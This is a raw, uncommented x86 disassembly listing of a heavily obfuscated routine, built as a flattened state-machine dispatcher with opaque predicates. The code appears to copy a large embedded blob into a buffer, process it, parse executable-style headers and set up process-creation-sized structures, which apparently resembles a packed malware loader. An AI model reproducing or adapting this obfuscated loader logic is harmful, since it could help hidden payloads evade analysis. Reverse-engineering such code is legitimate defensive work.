mov dword [ebp - 0x124], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 8]
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x30]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*8 + 0xc]
mov edx, dword [0x4ab3c8]
lea ecx, [edx + 1]
mov dword [ebp - 0x12c], eax
mov eax, dword [0x4ab3c4]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xc5d2a770
jmp 0x405df2
cmp eax, 0xe3fbe26c
jle 0x4047bd
cmp eax, 0xe3fbe26d
je 0x405ae0
cmp eax, 0xe45af29f
je 0x405af0
cmp eax, 0xe4796849
jne 0x402370
mov edx, dword [0x4ab3c8]
mov eax, dword [0x4ab3c4]
mov esi, 0x5f15f9d9
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x87b0a01d
jmp 0x4065f0
cmp eax, 0x274816ca
jle 0x404806
cmp eax, 0x274816cb
je 0x405b3c
cmp eax, 0x28058f0a
je 0x405b8d
cmp eax, 0x2aaccb21
jne 0x402370
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
add eax, 2
mov dword [ebp - 0x120], eax
mov eax, 0x8c129db3
jmp 0x402370
cmp eax, 0xa2bf0cf6
jle 0x404868
cmp eax, 0xa2bf0cf7
je 0x405ba0
cmp eax, 0xa2f37ef1
je 0x405bc6
cmp eax, 0xa3c5174c
jne 0x402370
mov eax, 0xcdfdf3b7
jmp 0x402370
cmp eax, 0x6b2fdc91
jle 0x404897
cmp eax, 0x6b2fdc92
je 0x405bd0
cmp eax, 0x6c5f223c
je 0x405c0e
cmp eax, 0x6ce0eb4d
jne 0x402370
mov eax, dword [0x4ab3c8]
mov edi, 0x274816cb
mov esi, 0x24f87b17
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x24f87b17
jmp 0x404b0f
cmp eax, 0xc704c3e6
jle 0x40490e
cmp eax, 0xc704c3e7
je 0x405c30
cmp eax, 0xc910d298
je 0x405c3a
cmp eax, 0xc9282f22
jne 0x402370
mov edx, dword [0x4ab3c8]
mov eax, dword [0x4ab3c4]
mov esi, 0xd6c0d436
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x69823343
jmp 0x405df2
cmp eax, 0x17c9b08f
jle 0x404934
cmp eax, 0x17c9b090
je 0x405c44
cmp eax, 0x17e80cfb
je 0x405c4e
cmp eax, 0x181bced6
jne 0x402370
mov eax, dword [0x4ab3c8]
mov ebx, 0xd022da1f
mov esi, 0x137c8962
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x137c8962
jmp 0x406341
cmp eax, 0x9832d8a0
je 0x405cb5
cmp eax, 0x9978b21a
je 0x405d0a
cmp eax, 0x9a5f9fce
jne 0x402370
mov eax, dword [ebp - 0x18]
mov eax, 0x7158d0e9
jmp 0x402370
cmp eax, 0x5fa5d444
je 0x405d1f
cmp eax, 0x607edcf7
je 0x405d29
cmp eax, 0x6127e6c5
jne 0x402370
mov eax, dword [ebp - 0xa8]
vxorps xmm0, xmm0, xmm0
mov ebx, 0xcd44445f
mov esi, 0xc2066378
vmovups xmmword [eax], xmm0
vxorps xmm0, xmm0, xmm0
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x7c]
vmovups ymmword [eax + 0x20], ymm0
vmovups ymmword [eax], ymm0
mov dword [eax + 0x40], 0
mov eax, dword [ebp - 0x7c]
mov dword [eax], 0x44
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x130], eax
mov eax, dword [0x4ab3c8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xc2066378
jmp 0x404a63
cmp eax, 0xfb22b922
je 0x405d33
cmp eax, 0xfb49ab20
je 0x405d3d
cmp eax, 0xfc42d441
jne 0x402370
mov eax, dword [ebp - 0x16c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd8]
add eax, 0xfffffff8
shr eax, 1
mov dword [ecx], eax
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x68]
add eax, 8
mov dword [ecx], eax
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
mov dword [eax], 0
mov eax, 0x7c880254
jmp 0x402370
cmp eax, 0x3fec041f
je 0x405d4b
cmp eax, 0x406c026e
je 0x405d69
cmp eax, 0x415ae260
jne 0x402370
mov eax, dword [ebp - 0x50]
mov eax, 0xf2306fb3
jmp 0x402370
cmp eax, 0xb72fb65b
je 0x405d82
cmp eax, 0xb7a9c321
je 0x405dc5
cmp eax, 0xb8d4fc54
jne 0x402370
mov eax, dword [ebp - 0x3c]
mov eax, 0x1cad4c81
jmp 0x402370
cmp eax, 0x7dc98709
je 0x405e01
cmp eax, 0x7e3e6612
je 0x405e14
cmp eax, 0x7fe0f46d
jne 0x402370
mov eax, 0xe1d8994d
jmp 0x402370
cmp eax, 0xcdfdf3b7
je 0x405e92
cmp eax, 0xcfbadc2c
jne 0x40667c
mov eax, dword [ebp - 0x80]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xe8]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0x80]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
mov eax, 0x68423c4b
jmp 0x402370
cmp eax, 0xfdb3ea34
je 0x405ec5
cmp eax, 0x14a3b82
jne 0x402370
mov eax, dword [0x4ab3c8]
mov ebx, 0xba3c5cb5
mov esi, 0xc99052d8
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xc99052d8
jmp 0x406341
cmp eax, 0x813fe23b
je 0x405edb
cmp eax, 0x8202824b
jne 0x402370
mov eax, 0xde565710
jmp 0x402370
cmp eax, 0x4185dbe6
je 0x405f37
cmp eax, 0x41d2f53a
jne 0x402370
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x84]
mov eax, 0x394d28d8
jmp 0x402370
cmp eax, 0xd6e2add4
je 0x405f59
cmp eax, 0xd72ddffb
jne 0x402370
mov eax, 0x8b78e173
jmp 0x402370
cmp eax, 0x18620749
je 0x405f7f
cmp eax, 0x1963ffeb
jne 0x402370
mov eax, dword [ebp - 0x178]
mov ecx, eax
xor ecx, 0xfffffffc
test ecx, eax
mov eax, 0xdb278138
setne byte [ebp - 0x8b]
jmp 0x402370
cmp eax, 0x9a8ef3d8
je 0x405f89
cmp eax, 0x9aa1540a
jne 0x402370
mov edx, dword [0x4ab3c8]
mov ecx, dword [0x4ab3c4]
mov esi, 0x9a5f9fce
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x7158d0e9
cmovne esi, ebx
test edx, eax
mov eax, esi
cmove eax, ebx
cmp ecx, 0xa
mov ecx, dword [ebp - 0xf0]
cmovge eax, esi
jmp 0x402370
cmp eax, 0x616f09aa
je 0x405fad
cmp eax, 0x61dd102a
jne 0x402370
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0x34], eax
mov eax, 0x45c00
call fcn.0043a920
mov eax, esp
mov dword [ebp - 0x5c], eax
push eax
mov eax, esp
mov dword [ebp - 0x78], eax
push eax
mov eax, esp
mov dword [ebp - 0x18], eax
push eax
mov eax, esp
mov dword [ebp - 0x24], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xa8], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0x7c], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x60], eax
push eax
mov eax, esp
mov dword [ebp - 0x14], eax
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
push eax
mov esi, dword [0x4ab3c8]
mov edx, dword [0x4ab3c4]
mov edi, 0x9b95e593
mov ecx, esp
mov dword [ebp - 0x1c], ecx
lea eax, [esi + 1]
imul eax, esi
mov esi, eax
xor esi, 0xfffffffe
test esi, eax
sete bl
cmp edx, 0xa
setl bh
xor bh, bl
mov ebx, 0x1654afb2
cmovne ebx, edi
test esi, eax
mov eax, ebx
cmove eax, edi
cmp edx, 0xa
cmovge eax, ebx
jmp 0x402370
cmp eax, 0xba0ded68
je 0x405fc5
cmp eax, 0xba3c5cb5
jne 0x402370
cmp dword [ebp - 0xa4], 0
mov eax, dword [0x4ab3c8]
mov esi, 0xd000c4f3
mov ebx, 0xc99052d8
lea ecx, [eax + 1]
sets byte [ebp - 0x8f]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xc99052d8
jmp 0x402347
cmp eax, 0xe3b8384
je 0x405fe0
cmp eax, 0xeb3e0fe
jne 0x402370
mov edx, dword [0x4ab3c8]
mov eax, dword [0x4ab3c4]
mov esi, 0x64c8c3d
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x607edcf7
jmp 0x4065f0
cmp eax, 0x8eb56d8c
je 0x405ff9
cmp eax, 0x8ef81a52
jne 0x402370
mov eax, dword [ebp - 0x10c]
mov esi, 0x62e253db
mov ebx, 0x77e5c510
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x64]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x64]
mov dword [ecx], eax
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x50]
mov dword [ecx], eax
mov eax, dword [0x4ab3c8]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x77e5c510
jmp 0x402347
cmp eax, 0x5339f606
je 0x406021
cmp eax, 0x53b3efe3
jne 0x402370
mov eax, 0x9e45e353
jmp 0x402370
cmp eax, 0xe5c950b0
je 0x406034
cmp eax, 0xe6337dc2
jne 0x402370
mov eax, 0xab4905d2
jmp 0x402370
cmp eax, 0x2be75a9a
je 0x406061
cmp eax, 0x2c28c5c3
jne 0x402370
mov eax, dword [0x4ab3c8]
mov ebx, 0xa211328d
mov esi, 0xc4df4fe7
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xc4df4fe7
jmp 0x406341
cmp eax, 0xa61e07e1
je 0x40606b
cmp eax, 0xa823bd05
jne 0x402370
mov eax, 0x95e273b3
jmp 0x402370
cmp eax, 0x6d47bc0a
je 0x40609e
cmp eax, 0x6fbfe03e
jne 0x402370
mov eax, dword [ebp - 0x24]
mov dword [eax], 0xa
mov eax, 0x330ccaa1
jmp 0x402370
cmp eax, 0xc97e0d5c
je 0x4060b3
cmp eax, 0xc99052d8
jne 0x402370
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa4]
mov eax, 0xba3c5cb5
jmp 0x402370
cmp eax, 0x64e0bb2
je 0x4060ce
cmp eax, 0x65c73dc
jne 0x402370
mov eax, dword [ebp - 0x190]
mov ecx, 0x6fbfe03e
cmp dword [eax + 0x10], 0
mov eax, 0xe5c950b0
cmove eax, ecx
jmp 0x402370
cmp eax, 0x8886f361
je 0x406101
cmp eax, 0x88a7b3f5
jne 0x402370
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x144], eax
mov eax, 0x75533361
jmp 0x402370
cmp eax, 0x4be68148
je 0x406111
cmp eax, 0x4e2cfedf
jne 0x402370
movzx ecx, byte [ebp - 0x85]
movzx eax, byte [ebp - 0x86]
mov esi, 0x61dd102a
mov edi, 0x1654afb2
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x1654afb2
cmovne eax, esi
test cl, cl
cmove eax, edi
test dl, dl
cmovne eax, esi
jmp 0x402370
cmp eax, 0xde8bfcc3
je 0x40611e
cmp eax, 0xdefb2675
jne 0x402370
mov edx, dword [0x4ab3c8]
mov eax, dword [0x4ab3c4]
mov esi, 0xf24239fb
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x49b8ef64
cmovne edx, esi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, esi
cmp eax, 0xa
mov eax, dword [ebp - 0x28]
jmp 0x4065fe
cmp eax, 0x1d663d93
je 0x406128
cmp eax, 0x1df0a5d6
jne 0x402370
mov eax, 0x2d745202
jmp 0x402370
cmp eax, 0x9e552830
je 0x406172
cmp eax, 0x9ea470b4
jne 0x402370
mov eax, 0xde6625be
jmp 0x402370
cmp eax, 0x66155ff6
je 0x40617c
cmp eax, 0x670be9e1
jne 0x402370
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x80]
mov eax, dword [eax]
mov dword [ebp - 0x1cc], eax
mov eax, 0xd988698
jmp 0x402370
cmp eax, 0xc4c63d21
je 0x4061af
cmp eax, 0xc4df4fe7
jne 0x402370
mov eax, 0xa211328d
jmp 0x402370
cmp eax, 0x13854963
je 0x4061df
cmp eax, 0x14dd898e
jne 0x402370
mov eax, dword [ebp - 0x154]
sub eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0xd0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x60]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x50]
mov dword [ecx], eax
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
mov dword [eax], 0
mov eax, 0x179083f3
jmp 0x402370
cmp eax, 0x948dfcd1
je 0x4061f5
cmp eax, 0x94d063f0
jne 0x402370
cmp byte [ebp - 0x91], 0
mov eax, 0x54a0c8ae
mov ecx, 0x670be9e1
cmovne eax, ecx
jmp 0x402370
cmp eax, 0x5ac62a09
je 0x406208
cmp eax, 0x5aec2250
jne 0x402370
mov eax, dword [ebp - 0x130]
mov ecx, dword [ebp - 0x60]
vmovsd xmm0, qword [eax + 0x88]
vmovsd qword [ecx], xmm0
mov ecx, 0x3e624097
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x134], eax
mov eax, dword [ebp - 0x60]
cmp dword [eax + 4], 0
mov eax, 0x54c5498
cmove eax, ecx
jmp 0x402370
cmp eax, 0xecc2d8ce
je 0x406212
cmp eax, 0xede872fa
jne 0x402370
mov eax, dword [0x4ab3c8]
mov ebx, 0xeb9e7c55
mov esi, 0x5ac62a09
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x5ac62a09
jmp 0x404a63
cmp eax, 0x33913df3
je 0x40621f
cmp eax, 0x35e034bb
jne 0x402370
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0xf8], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x150], eax
mov eax, 0x39d37d33
jmp 0x402370
cmp eax, 0xac793edc
je 0x40627c
cmp eax, 0xad4d6c86
jne 0x402370
mov eax, 0x35e034bb
jmp 0x402370
cmp eax, 0x775b3b05
je 0x406286
cmp eax, 0x77e3ee27
jne 0x402370
mov eax, 0x93513a6a
jmp 0x402370
cmp eax, 0xd0c9d14a
je 0x4062a0
cmp eax, 0xd1b15bad
jne 0x402370
mov edx, dword [0x4ab3c8]
mov eax, dword [0x4ab3c4]
mov esi, 0xd4ed32d7
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x880bf55d
jmp 0x4065f0
cmp eax, 0x367229d
je 0x402326
cmp eax, 0x54c5498
jne 0x402370
mov dword [ebp - 0xf4], 0
mov eax, 0x4a2390a7
jmp 0x402370
cmp eax, 0x85609a91
je 0x4062c6
cmp eax, 0x862d578f
jne 0x402370
mov eax, 0xac11e6f9
jmp 0x402370
cmp eax, 0x455bfd36
je 0x40630b
cmp eax, 0x48cdb181
jne 0x402370
mov eax, 0x8c89d17
jmp 0x402370
cmp eax, 0xda726caa
je 0x406315
cmp eax, 0xdb278138
jne 0x402370
cmp byte [ebp - 0x8b], 0
mov eax, 0x6d47bc0a
mov ecx, 0x9ea543e
cmovne eax, ecx
jmp 0x402370
cmp eax, 0x1bca70dc
je 0x40631f
cmp eax, 0x1c449282
jne 0x402370
mov eax, dword [ebp - 0x24]
mov dword [eax], 0xd
mov eax, 0xdefb2675
jmp 0x402370
cmp eax, 0x9ba66331
je 0x406360
cmp eax, 0x9d005519
jne 0x402370
mov eax, 0x7c880254
jmp 0x402370
cmp eax, 0x62df0541
je 0x406381
cmp eax, 0x62e253db
jne 0x402370
mov eax, 0x68048c5d
jmp 0x402370
cmp eax, 0xc05416ee
je 0x4063a3
cmp eax, 0xc08065d3
jne 0x402370
mov eax, dword [ebp - 0x20]
mov eax, 0xa823bd05
jmp 0x402370
cmp eax, 0x1151c2d5
je 0x4063df
cmp eax, 0x129f4b28
jne 0x402370
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov dword [ebp - 0x174], eax
mov eax, 0x3fec041f
jmp 0x402370
cmp eax, 0x91c1570c
je 0x4063e9
cmp eax, 0x9272f78c
jne 0x402370
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x60]
mov eax, 0x813fe23b
jmp 0x402370
cmp eax, 0x56586a33
je 0x406410
cmp eax, 0x569ef7c2
jne 0x402370
mov eax, 0xd6e2add4
jmp 0x402370
cmp eax, 0xe9e2c1a6
je 0x406423
cmp eax, 0xe9e37c51
jne 0x402370
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x5c]
push 0x45c00
push 0x45928e
push dword [ebp - 0x5c]
vzeroupper
call fcn.0043d7a0
add esp, 0xc
push 0x45c00
push dword [ebp - 0x5c]
call fcn.00401990
add esp, 8
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x34]
mov dword [ecx], eax
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x78]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x78]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
mov eax, 0xdc620de5
jmp 0x402370
cmp eax, 0x2e4c65c5
je 0x40642d
cmp eax, 0x2fbed8a0
jne 0x402370
mov eax, 0x502206ce
jmp 0x402370
cmp eax, 0xa9c190a8
je 0x406489
cmp eax, 0xaa404d57
jne 0x402370
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
not eax
or eax, 0xbfffffff
cmp eax, 0xffffffff
mov eax, 0x775b3b05
setne byte [ebp - 0x90]
jmp 0x402370
cmp eax, 0x71a35b9a
je 0x4064a4
cmp eax, 0x721300ce
jne 0x402370
mov eax, 0xe6337dc2
jmp 0x402370
cmp eax, 0xcb56a2f6
je 0x4064c8
cmp eax, 0xcbe11529
jne 0x402370
mov eax, dword [ebp - 0x44]
mov dword [eax], 0x40
mov eax, 0x7a3d310c
jmp 0x402370
cmp eax, 0x9ea543e
je 0x406504
cmp eax, 0xadf754b
jne 0x402370
mov eax, dword [ebp - 0xd4]
mov eax, dword [0x4ab3c8]
mov ebx, 0x9b0c87cd
mov esi, 0xc704a79b
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xc704a79b
jmp 0x404a63
cmp eax, 0x8c129db3
je 0x406536
cmp eax, 0x8cabdefb
jne 0x402370
mov eax, 0xb6d4870e
jmp 0x402370
cmp eax, 0x5146a842
je 0x406569
cmp eax, 0x51dfe333
jne 0x402370
movzx eax, word [ebp - 0xc2]
mov eax, dword [ebp - 0xf8]
mov eax, 0x92933f57
jmp 0x402370
cmp eax, 0xe1d8994d
je 0x406573
cmp eax, 0xe247de17
jne 0x402370
mov edx, dword [0x4ab3c8]
mov eax, dword [0x4ab3c4]
mov esi, 0x94d82e07
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x4be68148
jmp 0x4065f0
cmp eax, 0x2437a8d2
je 0x4065b8
cmp eax, 0x24f87b17
jne 0x402370
mov eax, dword [ebp - 0x118]
mov ecx, dword [ebp - 0x11c]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0x10]
mov ecx, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0xa0]
add eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x6c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov dword [eax], 0
mov eax, 0x274816cb
jmp 0x402370
cmp eax, 0xa211328d
je 0x4065c2
cmp eax, 0xa2a88ff3
jne 0x402370
cmp byte [ebp - 0x8d], 0
mov eax, 0x2aaccb21
mov ecx, 0x181bced6
cmovne eax, ecx
jmp 0x402370
cmp eax, 0x697ce9c4
je 0x406608
cmp eax, 0x69823343
jne 0x402370
movzx eax, word [ebp - 0xc4]
mov edi, 0x622c4666
mov esi, 0xd6c0d436
mov ecx, eax
xor ecx, 0xfffff000
and ecx, eax
movzx eax, cx
add eax, dword [ebp - 0xc0]
mov dword [ebp - 0x108], eax
mov eax, dword [0x4ab3c8]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xd6c0d436
sete al
cmove ecx, edi
cmp dword [0x4ab3c4], 0xa
setl dl
cmovge ecx, esi
xor dl, al
cmovne ecx, edi
mov eax, ecx
jmp 0x402370
cmp eax, 0xc6f6ac72
je 0x40664c
cmp eax, 0xc704a79b
jne 0x402370
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x50]
mov eax, 0x9b0c87cd
jmp 0x402370
cmp eax, 0x16cf79b3
je 0x406656
cmp eax, 0x179083f3
jne 0x402370
mov eax, dword [0x4ab3c8]
mov ebx, 0x813fe23b
mov esi, 0x9272f78c
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x9272f78c
jmp 0x404a6b
mov edx, dword [0x4ab3c8]
mov ecx, dword [0x4ab3c4]
mov esi, 0x2e4c65c5
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xe3fbe26d
jmp 0x405e7c
mov eax, dword [ebp - 0x24]
mov dword [eax], 5
mov eax, 0xf91ef331
jmp 0x402370
mov eax, 0x6ce0eb4d
jmp 0x402370
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov dword [ebp - 0x1b8], eax
mov eax, 0xa9488a84
jmp 0x402370
mov eax, dword [0x4ab3c8]
mov ebx, 0x5146a842
mov esi, 0x49b8ef64
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x49b8ef64
jmp 0x406341
mov edx, dword [0x4ab3c8]
mov eax, dword [0x4ab3c4]
mov esi, 0x569ef7c2
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xd6e2add4
jmp 0x405df2
mov eax, dword [ebp - 0x150]
movzx eax, word [eax + 2]
mov word [ebp - 0xc2], ax
mov eax, 0x7a02aa18
jmp 0x402370
mov eax, dword [0x4ab3c8]
mov ebx, 0xc5bf61d4
mov esi, 0xbccb7a6d
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xbccb7a6d
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, ebx
cmp dword [0x4ab3c4], 0xa
setl dl
cmovge eax, esi
xor dl, cl
cmovne eax, ebx
jmp 0x402370
mov eax, dword [0x4ab3c8]
mov esi, 0x1a11fc29
mov ebx, 0x5339f606
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x5339f606
jmp 0x402347
mov eax, 0x79f6874
jmp 0x402370
mov edx, dword [0x4ab3c8]
mov ecx, dword [0x4ab3c4]
mov esi, 0x92933f57
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x51dfe333
jmp 0x405e7c
mov eax, dword [0x4ab3c8]
mov edi, 0xac11e6f9
mov esi, 0x862d578f
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x862d578f
sete al
cmove ecx, edi
cmp dword [0x4ab3c4], 0xa
setl dl
cmovge ecx, esi
xor dl, al
cmovne ecx, edi
mov eax, ecx
jmp 0x402370
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ecx]
cmp dword [eax + ecx*4], 0
mov eax, 0xeb3e0fe
setne byte [ebp - 0x8c]
jmp 0x402370
cmp byte [ebp - 0x8f], 0
mov eax, 0x5e9cdd70
mov ecx, 0x9d54a59c
cmovne eax, ecx
jmp 0x402370
mov eax, 0x181bced6
jmp 0x402370
mov eax, 0xafa796d0
jmp 0x402370
mov eax, 0xb7a9c321
jmp 0x402370
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x6c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x28]
mov edx, dword [edx]
add eax, dword [ecx + edx*4]
mov ecx, dword [ebp - 0xac]
mov dword [ecx], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x28]
mov eax, 0x4430d0e0
jmp 0x402370
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov dword [ebp - 0x1c0], eax
mov eax, 0x4185dbe6
jmp 0x402370
cmp byte [ebp - 0x90], 0
mov eax, 0xd1b15bad
mov ecx, 0x41de230c
cmovne eax, ecx
jmp 0x402370
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
mov eax, 0x17e80cfb
jmp 0x402370
mov eax, dword [0x4ab3c8]
mov esi, 0xe45af29f
mov ebx, 0x5825c6bf
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x5825c6bf
jmp 0x402347
mov edx, dword [0x4ab3c8]
mov eax, dword [0x4ab3c4]
mov esi, 0xc5ba9f88
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x5c484195
jmp 0x405df2
mov eax, dword [ebp - 0x24]
mov ebx, 0x1ce54c9a
mov esi, 0x5339f606
mov dword [eax], 0
mov eax, dword [0x4ab3c8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x5339f606
jmp 0x406341
mov edx, dword [0x4ab3c8]
mov ecx, dword [0x4ab3c4]
mov esi, 0xc704a79b
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xb54084e5
cmovne esi, ebx
test edx, eax
mov eax, esi
cmove eax, ebx
cmp ecx, 0xa
mov ecx, dword [ebp - 0x14]
cmovge eax, esi
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x50]
mov edx, dword [edx]
add ecx, dword [edx]
mov dword [ebp - 0x168], ecx
jmp 0x402370
mov eax, 0x62df0541
jmp 0x402370
mov eax, 0x697ce9c4
jmp 0x402370
cmp byte [ebp - 0x8c], 0
mov eax, 0x1c449282
